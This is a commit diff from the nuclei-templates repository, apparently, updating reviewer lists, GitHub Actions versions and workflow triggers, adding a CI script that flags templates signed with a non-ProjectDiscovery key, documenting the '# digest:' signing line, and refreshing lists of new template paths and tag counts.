chore: generate templates checksum 🤖

* Update CVE-2026-111497 details and author list

* Uncomment digest line in CVE-2026-111497.yaml

* Update digest line in CVE-2026-111497.yaml

* minor update timeout and request handling in CVE-2026-111497

Reduced INTERIM_TIMEOUT from 5 to 2 seconds and modified the 'attempt' and 'send' functions to use a 'mode' parameter instead of 'probe'. Updated logic for handling streaming and expectations in the request process.

---------

Co-authored-by: Roberto Nunes <[email protected]>

.github/auto_assign.yml

@@ -7,7 +7,6 @@ addAssignees: false
 # A list of reviewers to be added to pull requests (GitHub user name)
 reviewers:
   - ritikchaddha
-  - pussycat0x
   - DhiyaneshGeek
 
 # A number of reviewers added to the pull request
@@ -16,7 +15,6 @@ numberOfReviewers: 1
 
  # A list of assignees, overrides reviewers if set
 assignees:
-  - pussycat0x
   - ritikchaddha
   - DhiyaneshGeek
 

.github/scripts/assign_tasks.py

@@ -7,8 +7,8 @@ password = sys.argv[3]
 
 repo_owner = "projectdiscovery"
 repo_name = "nuclei-templates"
-pr_user_list = ["pussycat0x", "DhiyaneshGeek", "ritikchaddha"]
-issue_user_list = ["DhiyaneshGeek", "ritikchaddha", "pussycat0x", "princechaddha"]
+pr_user_list = ["DhiyaneshGeek", "ritikchaddha"]
+issue_user_list = ["DhiyaneshGeek", "ritikchaddha", "princechaddha"]
 
 headers = {'Authorization': f'Bearer {password}',
         'Accept': 'application/vnd.github+json',

.github/scripts/check-signing-key.py

@@ -0,0 +1,101 @@
+#!/usr/bin/env python3
+"""Fail if a code or javascript template is signed with a non-ProjectDiscovery key.
+
+Nuclei refuses to run code and javascript templates whose signature does not
+verify, and it also refuses to *re-sign* one that already carries a signature:
+
+    could not sign 'x.yaml': cause="re-signing code templates are not allowed
+    for security reasons."
+
+So a template contributed with the author's own signing key can never be picked
+up by the signing workflow. It stays permanently unrunnable, and because http
+and network templates only warn, the breakage is easy to miss. CVE-2025-71260
+sat broken from March 2026 until it was found by hand.
+
+The fix is always the same: drop the `# digest:` line so the signing workflow
+can apply the official key on the next push to main. This check catches it at
+review time instead.
+
+A template with no digest at all passes — that is the expected state for a new
+or freshly stripped template awaiting signing.
+"""
+
+import argparse
+import pathlib
+import re
+import subprocess
+import sys
+
+PD_KEY = "922c64590222798bb761d5b6d8e72950"
+ROOTS = ("code", "javascript")
+DIGEST = re.compile(r"^# digest:\s*(?P<sig>[0-9a-f]+):(?P<fp>[0-9a-f]+)\s*$")
+
+
+def fingerprint(path):
+    """Return the signing-key fingerprint of a template, or None when unsigned."""
+    try:
+        for line in reversed(path.read_text(encoding="utf-8", errors="replace").splitlines()):
+            if not line.strip():
+                continue
+            m = DIGEST.match(line)
+            return m.group("fp") if m else None
+    except OSError as e:
+        print(f"::warning file={path}::could not read: {e}")
+    return None
+
+
+def repo_root(explicit=None):
+    """Resolve the repo to scan: an explicit path, else git's toplevel, else cwd."""
+    if explicit:
+        return pathlib.Path(explicit).resolve()
+    try:
+        out = subprocess.run(["git", "rev-parse", "--show-toplevel"],
+                             capture_output=True, text=True, check=True).stdout.strip()
+        if out:
+            return pathlib.Path(out)
+    except (OSError, subprocess.CalledProcessError):
+        pass
+    return pathlib.Path.cwd()
+
+
+def main():
+    ap = argparse.ArgumentParser(description=__doc__)
+    ap.add_argument("--root", help="repo root to scan (default: git toplevel, else cwd)")
+    args = ap.parse_args()
+
+    repo = repo_root(args.root)
+    if not any((repo / r).is_dir() for r in ROOTS):
+        print(f"::error::no {' or '.join(ROOTS)} directory under {repo} — wrong root?")
+        return 1
+
+    offenders, checked = [], 0
+
+    for root in ROOTS:
+        for path in sorted((repo / root).rglob("*.yaml")):
+            checked += 1
+            fp = fingerprint(path)
+            if fp is not None and fp != PD_KEY:
+                rel = path.relative_to(repo)
+                offenders.append((rel, fp))
+                print(f"::error file={rel}::signed with {fp}, expected the "
+                      f"ProjectDiscovery key {PD_KEY}. Remove the '# digest:' line "
+                      f"so the signing workflow can re-sign this template.")
+
+    if offenders:
+        print(f"\n{len(offenders)} of {checked} template(s) carry a foreign signing key:\n")
+        for rel, fp in offenders:
+            print(f"  {rel}\n    key: {fp}")
+        print("\nNuclei will refuse to run these, and the signing workflow cannot "
+              "repair them while the signature is present. Delete the '# digest:' "
+              "line from each file:\n")
+        print("  sed -i '/^# digest:/d' \\\n    " +
+              " \\\n    ".join(str(rel) for rel, _ in offenders))
+        return 1
+
+    print(f"OK — all {checked} code/javascript templates are unsigned or signed "
+          f"with the ProjectDiscovery key.")
+    return 0
+
+
+if __name__ == "__main__":
+    sys.exit(main())

.github/workflows/autoassign.yml

@@ -29,10 +29,10 @@ jobs:
             // ======= CONFIG: put your user pools here =======
             // Usernames must be GitHub logins and collaborators on this repo.
             const ISSUE_ASSIGNEES = [
-              "pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
+              "ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
             ];
             const REVIEW_POOL = [
-              "pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
+              "ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
             ];
             const LOOKBACK_DAYS = 7; // only used as a tie-break fairness metric
             // ================================================

.github/workflows/cve-enhancement.yml

@@ -16,12 +16,12 @@ jobs:
       contents: write
 
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v7
         with:
           fetch-depth: 0
 
       - name: Setup Python
-        uses: actions/setup-python@v6
+        uses: actions/setup-python@v7
         with:
           python-version: '3.11'
 

.github/workflows/cve2json.yml

@@ -13,7 +13,7 @@ jobs:
     runs-on: ubuntu-latest
     if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
-      - uses: actions/checkout@v5
+      - uses: actions/checkout@v7
       - uses: projectdiscovery/actions/setup/go@v1
         with:
           go-version: 'stable'

.github/workflows/epss-update.yml

@@ -12,10 +12,10 @@ jobs:
     if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
       - name: Checkout repository
-        uses: actions/checkout@v5
+        uses: actions/checkout@v7
 
       - name: Setup Python
-        uses: actions/setup-python@v6
+        uses: actions/setup-python@v7
         with:
           python-version: '3.11'
 

.github/workflows/kev-update.yml

@@ -12,10 +12,10 @@ jobs:
     if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
       - name: Checkout repository
-        uses: actions/checkout@v5
+        uses: actions/checkout@v7
 
       - name: Setup Python
-        uses: actions/setup-python@v6
+        uses: actions/setup-python@v7
         with:
           python-version: '3.11'
 

.github/workflows/new-templates.yml

@@ -18,7 +18,7 @@ jobs:
     runs-on: ubuntu-latest
     if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
-      - uses: actions/checkout@v5
+      - uses: actions/checkout@v7
         with:
           fetch-depth: 0
       - name: Generate new addition list

.github/workflows/readme-update.yml

@@ -13,8 +13,8 @@ jobs:
     if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
       - run: sudo apt-get install tree -y
-      - uses: actions/checkout@v5
-      - uses: actions/setup-python@v6
+      - uses: actions/checkout@v7
+      - uses: actions/setup-python@v7
         with:
           python-version: "3.8"
       - run: python .github/scripts/update-readme.py

.github/workflows/template-checksum.yml

@@ -1,11 +1,21 @@
 name: 📝 Template Checksum
 
 on:
+  # For YAML changes: wait for signing to complete first, then checksum
+  workflow_run:
+    workflows:
+      - "☑️ Template Sign"
+    types:
+      - completed
+    branches:
+      - main
+  # For non-YAML changes: trigger directly (signing doesn't run for these)
   push:
     branches:
       - main
-    paths:
+    paths-ignore:
       - '**.yaml'
+      - 'templates-checksum.txt'
   workflow_dispatch:
 
 env:
@@ -14,9 +24,14 @@ env:
 jobs:
   checksum:
     runs-on: ubuntu-latest
-    if: github.repository == 'projectdiscovery/nuclei-templates'
+    if: >
+      github.repository == 'projectdiscovery/nuclei-templates' && (
+        github.event_name == 'workflow_dispatch' ||
+        github.event_name == 'push' ||
+        github.event.workflow_run.conclusion == 'success'
+      )
     steps:
-      - uses: actions/checkout@v5
+      - uses: actions/checkout@v7
       - uses: projectdiscovery/actions/generate/checksum@v1
         with:
           templates-directory: '${{ github.workspace }}'

.github/workflows/template-sign.yml

@@ -6,6 +6,16 @@ on:
       - main
     paths:
       - '**.yaml'
+  # The EPSS and KEV jobs rewrite template YAML after signing, which invalidates
+  # every signature they touch. Their commits use GITHUB_TOKEN, so they cannot
+  # fire the push trigger above. workflow_run fires regardless of the actor, so
+  # signatures are restored as soon as those jobs finish.
+  workflow_run:
+    workflows:
+      - "📊 EPSS Score Update"
+      - "📋 KEV & vKEV Tag Update"
+    types:
+      - completed
   workflow_dispatch:
 
 jobs:
@@ -14,7 +24,7 @@ jobs:
     runs-on: ubuntu-latest
     if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
-      - uses: actions/checkout@v5
+      - uses: actions/checkout@v7
       - uses: projectdiscovery/nuclei-action@v3
         with:
           install-only: true
@@ -38,7 +48,7 @@ jobs:
     runs-on: windows-latest
     if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
-      - uses: actions/checkout@v5
+      - uses: actions/checkout@v7
 
       - uses: projectdiscovery/nuclei-action@v3
         with:

.github/workflows/templateman.yml

@@ -8,7 +8,7 @@ jobs:
     runs-on: ubuntu-latest
     if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
-      - uses: actions/checkout@v5
+      - uses: actions/checkout@v7
       - uses: projectdiscovery/actions/setup/templateman@v1
         with:
           token: '${{ secrets.PDTEAMX_CLASSIC_PAT }}'

.github/workflows/templates-stats.yml

@@ -11,7 +11,7 @@ jobs:
     runs-on: ubuntu-latest
     if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
-      - uses: actions/checkout@v5
+      - uses: actions/checkout@v7
         with: 
           fetch-depth: 0
       - uses: projectdiscovery/actions/templates/stats@v1

.github/workflows/tests.yml

@@ -11,7 +11,7 @@ jobs:
     runs-on: ubuntu-latest
     if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
-      - uses: actions/checkout@v5
+      - uses: actions/checkout@v7
       - uses: karancode/[email protected]
         with:
           yamllint_config_filepath: .yamllint
@@ -23,13 +23,28 @@ jobs:
     runs-on: ubuntu-latest
     if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
-      - uses: actions/checkout@v5
+      - uses: actions/checkout@v7
       - uses: projectdiscovery/nuclei-action@v3
         with:
           install-only: true
       - name: Validate templates
         run: nuclei -duc -validate -lfa -ud $GITHUB_WORKSPACE -w workflows/ -et .github/ -ept code -et helpers/payloads/
 
+  signing-key-check:
+    name: Signing Key Check
+    needs: lint
+    runs-on: ubuntu-latest
+    if: github.repository == 'projectdiscovery/nuclei-templates'
+    steps:
+      - uses: actions/checkout@v7
+      - uses: actions/setup-python@v7
+        with:
+          python-version: '3.11'
+      # A code/javascript template signed with a contributor's own key can never
+      # be re-signed by the signing workflow, so it stays permanently unrunnable.
+      - name: Check templates carry the ProjectDiscovery signing key
+        run: python .github/scripts/check-signing-key.py
+
   weak-matcher-checks:
     needs: lint
     runs-on: ubuntu-latest
@@ -40,7 +55,7 @@ jobs:
     env:
       HONEYPOT_URL: 'http://honey.scanme.sh'
     steps:
-      - uses: actions/checkout@v5
+      - uses: actions/checkout@v7
       - uses: dorny/paths-filter@v4
         id: filter
         with:

.github/workflows/wordpress-plugins-update.yml

@@ -10,10 +10,10 @@ jobs:
     if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
       - name: Check out repository code
-        uses: actions/checkout@v5
+        uses: actions/checkout@v7
 
       - name: Install Python3
-        uses: actions/setup-python@v6
+        uses: actions/setup-python@v7
         with:
           python-version: "3.10"
 

.gitignore

@@ -1,8 +0,0 @@
-.idea/
-.DS_Store
-local/
-.checksum
-.new-additions
-*.txt
-/.claude
-CLAUDE.md

.new-additions

@@ -1,63 +1,88 @@
-code/cves/2026/CVE-2026-10795.yaml
-http/cves/2020/CVE-2020-36884.yaml
-http/cves/2021/CVE-2021-3239.yaml
-http/cves/2022/CVE-2022-44727.yaml
-http/cves/2024/CVE-2024-12008.yaml
-http/cves/2025/CVE-2025-13339.yaml
-http/cves/2025/CVE-2025-13773.yaml
-http/cves/2025/CVE-2025-25296.yaml
-http/cves/2025/CVE-2025-47783.yaml
-http/cves/2025/CVE-2025-49001.yaml
-http/cves/2026/CVE-2026-10520.yaml
-http/cves/2026/CVE-2026-10580.yaml
-http/cves/2026/CVE-2026-20253.yaml
-http/cves/2026/CVE-2026-25527.yaml
-http/cves/2026/CVE-2026-26190.yaml
-http/cves/2026/CVE-2026-2652.yaml
-http/cves/2026/CVE-2026-27771.yaml
-http/cves/2026/CVE-2026-27833.yaml
-http/cves/2026/CVE-2026-29059.yaml
-http/cves/2026/CVE-2026-3018.yaml
-http/cves/2026/CVE-2026-3300.yaml
-http/cves/2026/CVE-2026-33476.yaml
-http/cves/2026/CVE-2026-34910.yaml
-http/cves/2026/CVE-2026-40151.yaml
-http/cves/2026/CVE-2026-41492.yaml
-http/cves/2026/CVE-2026-42208.yaml
-http/cves/2026/CVE-2026-42271.yaml
-http/cves/2026/CVE-2026-42589.yaml
-http/cves/2026/CVE-2026-42647.yaml
-http/cves/2026/CVE-2026-44262.yaml
-http/cves/2026/CVE-2026-44551.yaml
-http/cves/2026/CVE-2026-45298.yaml
-http/cves/2026/CVE-2026-45397.yaml
-http/cves/2026/CVE-2026-46364.yaml
-http/cves/2026/CVE-2026-47670.yaml
-http/cves/2026/CVE-2026-48710.yaml
-http/cves/2026/CVE-2026-48907.yaml
-http/cves/2026/CVE-2026-49777.yaml
-http/cves/2026/CVE-2026-50230.yaml
-http/cves/2026/CVE-2026-5027.yaml
-http/cves/2026/CVE-2026-5073.yaml
-http/cves/2026/CVE-2026-7798.yaml
-http/cves/2026/CVE-2026-8054.yaml
-http/cves/2026/CVE-2026-8839.yaml
-http/cves/2026/CVE-2026-9290.yaml
-http/cves/2026/cve-2026-44338.yaml
-http/exposed-panels/advantech-webaccess-panel.yaml
-http/exposed-panels/baserow-login-panel.yaml
-http/exposed-panels/bytebase-auth-panel.yaml
-http/exposed-panels/homarr-panel.yaml
-http/exposed-panels/ivanti-sentry-panel.yaml
-http/exposed-panels/kargo-login.yaml
-http/exposed-panels/ligolo-ng-panel.yaml
-http/exposed-panels/rallly-login-panel.yaml
-http/exposed-panels/stackstorm-web-ui-panel.yaml
-http/exposed-panels/vikunja-panel.yaml
-http/exposures/configs/hexstrike-ai-config.yaml
-http/exposures/files/a2a-agent-card-enum.yaml
-http/misconfiguration/installer/budibase-admin-installer.yaml
-http/misconfiguration/unauth-mulesoft-dataweave.yaml
-http/vulnerabilities/yeswiki/yeswiki-reflected-xss.yaml
-javascript/cves/2026/CVE-2026-0257.yaml
-workflows/phpldapadmin-workflow.yaml
+headless/cves/2020/CVE-2020-24900.yaml
+http/cves/2010/CVE-2010-1428.yaml
+http/cves/2023/CVE-2023-31719.yaml
+http/cves/2023/CVE-2023-54335.yaml
+http/cves/2024/CVE-2024-56829.yaml
+http/cves/2026/CVE-2026-102764.yaml
+http/cves/2026/CVE-2026-102782.yaml
+http/cves/2026/CVE-2026-102878.yaml
+http/cves/2026/CVE-2026-104736.yaml
+http/cves/2026/CVE-2026-105134.yaml
+http/cves/2026/CVE-2026-10525.yaml
+http/cves/2026/CVE-2026-105740.yaml
+http/cves/2026/CVE-2026-108123.yaml
+http/cves/2026/CVE-2026-109619.yaml
+http/cves/2026/CVE-2026-110447.yaml
+http/cves/2026/CVE-2026-112866.yaml
+http/cves/2026/CVE-2026-114509.yaml
+http/cves/2026/CVE-2026-115574.yaml
+http/cves/2026/CVE-2026-11565.yaml
+http/cves/2026/CVE-2026-115886.yaml
+http/cves/2026/CVE-2026-116006.yaml
+http/cves/2026/CVE-2026-116067.yaml
+http/cves/2026/CVE-2026-116070.yaml
+http/cves/2026/CVE-2026-116167.yaml
+http/cves/2026/CVE-2026-116205.yaml
+http/cves/2026/CVE-2026-116366.yaml
+http/cves/2026/CVE-2026-116485.yaml
+http/cves/2026/CVE-2026-116548.yaml
+http/cves/2026/CVE-2026-116690.yaml
+http/cves/2026/CVE-2026-116748.yaml
+http/cves/2026/CVE-2026-116817.yaml
+http/cves/2026/CVE-2026-118523.yaml
+http/cves/2026/CVE-2026-118539.yaml
+http/cves/2026/CVE-2026-119495.yaml
+http/cves/2026/CVE-2026-120201.yaml
+http/cves/2026/CVE-2026-120442.yaml
+http/cves/2026/CVE-2026-120446.yaml
+http/cves/2026/CVE-2026-120597.yaml
+http/cves/2026/CVE-2026-12583.yaml
+http/cves/2026/CVE-2026-12970.yaml
+http/cves/2026/CVE-2026-14554.yaml
+http/cves/2026/CVE-2026-16535.yaml
+http/cves/2026/CVE-2026-16959.yaml
+http/cves/2026/CVE-2026-17540.yaml
+http/cves/2026/CVE-2026-18051.yaml
+http/cves/2026/CVE-2026-18110.yaml
+http/cves/2026/CVE-2026-22777.yaml
+http/cves/2026/CVE-2026-24898.yaml
+http/cves/2026/CVE-2026-34151.yaml
+http/cves/2026/CVE-2026-48048.yaml
+http/cves/2026/CVE-2026-53468.yaml
+http/cves/2026/CVE-2026-54419.yaml
+http/cves/2026/CVE-2026-55864.yaml
+http/cves/2026/CVE-2026-56062.yaml
+http/cves/2026/CVE-2026-59707.yaml
+http/cves/2026/CVE-2026-75128.yaml
+http/cves/2026/CVE-2026-75650.yaml
+http/cves/2026/CVE-2026-7873.yaml
+http/cves/2026/CVE-2026-82901.yaml
+http/cves/2026/CVE-2026-85595.yaml
+http/cves/2026/CVE-2026-88804.yaml
+http/cves/2026/CVE-2026-89026.yaml
+http/cves/2026/CVE-2026-89079.yaml
+http/cves/2026/CVE-2026-9062.yaml
+http/cves/2026/CVE-2026-93485.yaml
+http/cves/2026/CVE-2026-96652.yaml
+http/cves/2026/CVE-2026-96655.yaml
+http/cves/2026/CVE-2026-97229.yaml
+http/cves/2026/CVE-2026-97359.yaml
+http/cves/2026/CVE-2026-9848.yaml
+http/default-logins/bwapp/bwapp-default-login.yaml
+http/default-logins/jboss/jboss-admin-console-default-login.yaml
+http/exposed-panels/coolify-panel.yaml
+http/exposed-panels/danfoss-ak-sm-800a-panel.yaml
+http/exposed-panels/infisical-panel.yaml
+http/exposed-panels/jboss/jboss-admin-console-panel.yaml
+http/exposed-panels/pocket-id-panel.yaml
+http/exposed-panels/tailscale-panel.yaml
+http/exposures/apis/prefect-api-exposure.yaml
+http/exposures/configs/lighter-config.yaml
+http/javascript/cves/2026/CVE-2026-111497.yaml
+http/misconfiguration/dvwa-setup.yaml
+http/technologies/opencloud-detect.yaml
+http/vulnerabilities/other/diafan-cms-xss.yaml
+http/vulnerabilities/other/nuuo-unauth-rce.yaml
+http/vulnerabilities/wordpress/elementor-rest-nonce-bypass.yaml
+http/vulnerabilities/wordpress/jetpack-reader-xss.yaml
+websocket/cves/2026/CVE-2026-102489.yaml

CONTRIBUTING.md

@@ -8,6 +8,7 @@ This documentation contains a set of guidelines to help you during the contribut
 ## **How Can I Contribute?**
 
 - [Submitting Nuclei Templates](#Submitting-Nuclei-Templates)
+- [Template Signing and the # digest Line](#template-signing-and-the-digest-line)
 - [Reporting False Negative Template](#Reporting-False-Positive-Template)
 - [Reporting False Positive Template](#Reporting-False-Positive-Template)
 - [Enhancing existing templates](#Enhancing-existing-templates)
@@ -38,6 +39,7 @@ Along with the P.O.C following are the required fields in the info section for s
 - Make sure to add more than one matcher to prevent false positive results. Avoid short word that could be encountered anywhere
 - If possible submit the vulnerable environment based on docker-compose. For example: https://github.com/vulhub/vulhub.
 - We only accept templates with complete P.O.Cs instead of just detection based on version
+- Keep existing `# digest:` lines intact when updating templates — the repository signing workflow will automatically regenerate signatures upon merge
 
 **Don’t**
 
@@ -45,6 +47,7 @@ Along with the P.O.C following are the required fields in the info section for s
 - Avoid submitting templates with weak matchers. For example: Adding GET/POST data as the matchers in the template, as it can result in false positive results on few hosts
 - Don’t make unnecessary changes to the existing templates like adding more requests to the templates when the existing requests or paths are good enough to verify that the bug exists
 - Try to keep the requests per template as low as possible
+- Don't delete or manually edit the `# digest:` line, and do not sign templates with personal keys
 
 **Best Practices**
 
@@ -58,6 +61,19 @@ Along with the P.O.C following are the required fields in the info section for s
 - We should only upload a web shell as a last resort to validate the vulnerability, and if we do upload a file, make sure the file name is random(`{{randstr}}`)
 - Do not include code templates for exploits that can be written using HTTP or JavaScript. We avoid adding additional exploit code to the project unless there is an exception.
 
+### **Template Signing and the `# digest:` Line**
+
+Official templates in this repository include a trailing `# digest:` line (for example, `# digest: 4a0a...:922c...`). This is an automated cryptographic signature and public-key fingerprint used by Nuclei to verify template integrity and authenticity.
+
+- **What it is**: It is an automated signature marker generated by ProjectDiscovery, not a comment or obsolete metadata.
+- **Do not edit or delete it**: When updating existing templates, leave the existing `# digest:` line as-is. Do not hand-edit or remove it.
+- **Automated Signing**: When a pull request is merged into `main`, the automated **Template Sign** workflow automatically calculates and updates the signature for all modified templates using ProjectDiscovery's official signing key.
+- **New Templates**: New templates should be submitted without any `# digest:` line. They will be signed automatically upon merge.
+- **Do not sign with personal keys**: Never sign contributed templates with your own private key. Specifically, `code` and `javascript` templates signed with non-ProjectDiscovery keys will fail CI validation (`Signing Key Check`) because Nuclei restricts re-signing code protocol templates for security reasons.
+- **Signature verification at scan time**:
+  - For standard protocols (`http`, `dns`, `network`, etc.), Nuclei verifies signatures against trusted keys and displays a warning if a template is unsigned or modified.
+  - For `code` and `javascript` protocols, valid signatures from trusted keys are mandatory for security. Nuclei will refuse to execute untrusted or improperly signed code templates by default.
+
 ### **Submitting a PR**
 
 **Fork the Project**

TEMPLATES-STATS.json

@@ -1 +1 @@
-{"tags":[{"name":"vuln","count":6621},{"name":"cve","count":4221},{"name":"discovery","count":3717},{"name":"vkev","count":1769},{"name":"wordpress","count":1643},{"name":"panel","count":1523},{"name":"wp-plugin","count":1459},{"name":"exposure","count":1443},{"name":"xss","count":1403},{"name":"osint","count":1131},{"name":"misconfig","count":983},{"name":"rce","count":952},{"name":"tech","count":946},{"name":"wp","count":918},{"name":"lfi","count":850},{"name":"detect","count":763},{"name":"devops","count":752},{"name":"cloud","count":718},{"name":"unauth","count":637},{"name":"cve2024","count":623},{"name":"edb","count":597},{"name":"wpscan","count":597},{"name":"cve2021","count":594},{"name":"sqli","count":583},{"name":"cve2023","count":571},{"name":"cve2022","count":569},{"name":"packetstorm","count":552},{"name":"authenticated","count":546},{"name":"intrusive","count":520},{"name":"login","count":516},{"name":"kev","count":507},{"name":"cve2025","count":409},{"name":"phishing","count":402},{"name":"file","count":392},{"name":"network","count":387},{"name":"oast","count":355},{"name":"default-login","count":336},{"name":"cve2020","count":324},{"name":"config","count":321},{"name":"apache","count":282},{"name":"tcp","count":271},{"name":"auth-bypass","count":271},{"name":"microsoft","count":258},{"name":"token-spray","count":247},{"name":"top-200","count":235},{"name":"gcp","count":234},{"name":"osint-social","count":231},{"name":"gcp-cloud-config","count":227},{"name":"token","count":226},{"name":"gcloud","count":226},{"name":"cve2019","count":223},{"name":"iot","count":216},{"name":"malware","count":214},{"name":"azure","count":213},{"name":"","count":209},{"name":"cve2018","count":205},{"name":"aws","count":196},{"name":"csp-bypass","count":192},{"name":"code","count":191},{"name":"time-based-sqli","count":191},{"name":"azure-cloud-config","count":191},{"name":"ssrf","count":190},{"name":"redirect","count":185},{"name":"install","count":180},{"name":"amazon","count":175},{"name":"security","count":164},{"name":"keys","count":159},{"name":"disclosure","count":157},{"name":"local","count":154},{"name":"joomla","count":153},{"name":"aws-cloud-config","count":147},{"name":"cms","count":140},{"name":"router","count":139},{"name":"linux","count":139},{"name":"cve2026","count":139},{"name":"ftp","count":137},{"name":"files","count":133},{"name":"cve2017","count":131},{"name":"ai","count":129},{"name":"audit","count":122},{"name":"kubernetes","count":121},{"name":"js","count":118},{"name":"cve2010","count":115},{"name":"file-upload","count":112},{"name":"fpd","count":107},{"name":"tokens","count":102},{"name":"top-100","count":100},{"name":"debug","count":98},{"name":"passive","count":97},{"name":"oss","count":96},{"name":"windows-audit","count":95},{"name":"oracle","count":91},{"name":"enum","count":89},{"name":"seclists","count":88},{"name":"cisco","count":88},{"name":"privesc","count":87},{"name":"windows","count":85},{"name":"takeover","count":81},{"name":"fileupload","count":78},{"name":"k8s","count":77},{"name":"adobe","count":75},{"name":"deserialization","count":73},{"name":"detection","count":71},{"name":"vmware","count":68},{"name":"cve2015","count":66},{"name":"traversal","count":66},{"name":"ics","count":66},{"name":"google","count":66},{"name":"huntr","count":64},{"name":"cve2016","count":64},{"name":"atlassian","count":64},{"name":"logs","count":64},{"name":"oob","count":63},{"name":"ir","count":63},{"name":"alibaba","count":62},{"name":"php","count":62},{"name":"c2","count":61},{"name":"api","count":60},{"name":"dast","count":57},{"name":"cve2014","count":55},{"name":"ssh","count":55},{"name":"ssti","count":53},{"name":"aem","count":53},{"name":"fortinet","count":52},{"name":"sap","count":52},{"name":"injection","count":52},{"name":"misc","count":52},{"name":"plugin","count":50},{"name":"ibm","count":50},{"name":"generic","count":50},{"name":"ecommerce","count":49},{"name":"osint-gaming","count":49},{"name":"wp-theme","count":48},{"name":"tenable","count":48},{"name":"log4j","count":48},{"name":"info-leak","count":48},{"name":"xxe","count":47},{"name":"springboot","count":46},{"name":"vulhub","count":46},{"name":"cnvd","count":46},{"name":"hackerone","count":46},{"name":"firewall","count":45},{"name":"jndi","count":45},{"name":"aliyun","count":45},{"name":"kisa","count":44},{"name":"ssl","count":44},{"name":"listing","count":44},{"name":"dns","count":44},{"name":"oa","count":43},{"name":"miscellaneous","count":43},{"name":"k8s-cluster-security","count":42},{"name":"osint-porn","count":42},{"name":"osint-hobby","count":42},{"name":"postgresql","count":42},{"name":"bank","count":42},{"name":"tls","count":41},{"name":"dashboard","count":41},{"name":"devsecops","count":39},{"name":"jira","count":39},{"name":"dlink","count":39},{"name":"xwiki","count":38},{"name":"cti","count":38},{"name":"graphql","count":37},{"name":"scada","count":36},{"name":"google-cloud-sql","count":36},{"name":"gitlab","couLine truncated
+{"tags":[{"name":"vuln","count":7178},{"name":"cve","count":4605},{"name":"discovery","count":3887},{"name":"vkev","count":2006},{"name":"wordpress","count":1750},{"name":"panel","count":1637},{"name":"wp-plugin","count":1555},{"name":"exposure","count":1513},{"name":"xss","count":1429},{"name":"tech","count":1219},{"name":"osint","count":1131},{"name":"rce","count":1078},{"name":"detect","count":1076},{"name":"misconfig","count":1010},{"name":"wp","count":966},{"name":"lfi","count":898},{"name":"unauth","count":809},{"name":"devops","count":755},{"name":"cloud","count":720},{"name":"intrusive","count":639},{"name":"cve2024","count":628},{"name":"sqli","count":617},{"name":"edb","count":597},{"name":"wpscan","count":596},{"name":"cve2021","count":592},{"name":"authenticated","count":576},{"name":"kev","count":573},{"name":"cve2022","count":571},{"name":"cve2023","count":570},{"name":"login","count":562},{"name":"packetstorm","count":551},{"name":"cve2026","count":482},{"name":"cve2025","count":435},{"name":"network","count":404},{"name":"phishing","count":402},{"name":"file","count":392},{"name":"oast","count":388},{"name":"default-login","count":348},{"name":"auth-bypass","count":337},{"name":"config","count":331},{"name":"cve2020","count":328},{"name":"apache","count":292},{"name":"tcp","count":279},{"name":"microsoft","count":260},{"name":"iot","count":249},{"name":"token-spray","count":247},{"name":"top-200","count":235},{"name":"gcp","count":234},{"name":"osint-social","count":231},{"name":"gcp-cloud-config","count":227},{"name":"token","count":227},{"name":"gcloud","count":226},{"name":"cve2019","count":226},{"name":"","count":219},{"name":"ssrf","count":215},{"name":"malware","count":214},{"name":"azure","count":213},{"name":"cve2018","count":203},{"name":"aws","count":199},{"name":"time-based-sqli","count":199},{"name":"code","count":193},{"name":"csp-bypass","count":192},{"name":"azure-cloud-config","count":191},{"name":"redirect","count":185},{"name":"install","count":183},{"name":"amazon","count":176},{"name":"ai","count":170},{"name":"disclosure","count":168},{"name":"security","count":166},{"name":"joomla","count":164},{"name":"keys","count":159},{"name":"cms","count":156},{"name":"linux","count":155},{"name":"local","count":155},{"name":"aws-cloud-config","count":147},{"name":"router","count":146},{"name":"file-upload","count":139},{"name":"ftp","count":138},{"name":"audit","count":136},{"name":"files","count":136},{"name":"cve2017","count":133},{"name":"kubernetes","count":122},{"name":"js","count":119},{"name":"cve2010","count":116},{"name":"passive","count":113},{"name":"fpd","count":108},{"name":"oss","count":103},{"name":"tokens","count":102},{"name":"top-100","count":100},{"name":"debug","count":99},{"name":"windows-audit","count":95},{"name":"privesc","count":93},{"name":"traversal","count":93},{"name":"oracle","count":92},{"name":"enum","count":91},{"name":"cisco","count":90},{"name":"seclists","count":88},{"name":"windows","count":86},{"name":"takeover","count":84},{"name":"deserialization","count":82},{"name":"fileupload","count":80},{"name":"ics","count":78},{"name":"adobe","count":77},{"name":"k8s","count":77},{"name":"detection","count":73},{"name":"google","count":68},{"name":"vmware","count":68},{"name":"oob","count":67},{"name":"cve2015","count":67},{"name":"php","count":67},{"name":"logs","count":67},{"name":"atlassian","count":66},{"name":"api","count":66},{"name":"huntr","count":64},{"name":"cve2016","count":64},{"name":"vpn","count":64},{"name":"alibaba","count":64},{"name":"ir","count":63},{"name":"c2","count":63},{"name":"dast","count":59},{"name":"ssh","count":59},{"name":"injection","count":55},{"name":"cve2014","count":55},{"name":"ssti","count":54},{"name":"firewall","count":54},{"name":"llm","count":54},{"name":"fortinet","count":54},{"name":"sap","count":53},{"name":"aem","count":53},{"name":"misc","count":52},{"name":"plugin","count":52},{"name":"ibm","count":52},{"name":"generic","count":50},{"name":"ecommerce","count":50},{"name":"tenable","count":49},{"name":"osint-gaming","count":49},{"name":"wp-theme","count":49},{"name":"xxe","count":49},{"name":"dns","count":48},{"name":"log4j","count":48},{"name":"vulhub","count":47},{"name":"info-leak","count":47},{"name":"cnvd","count":46},{"name":"hackerone","count":46},{"name":"jndi","count":46}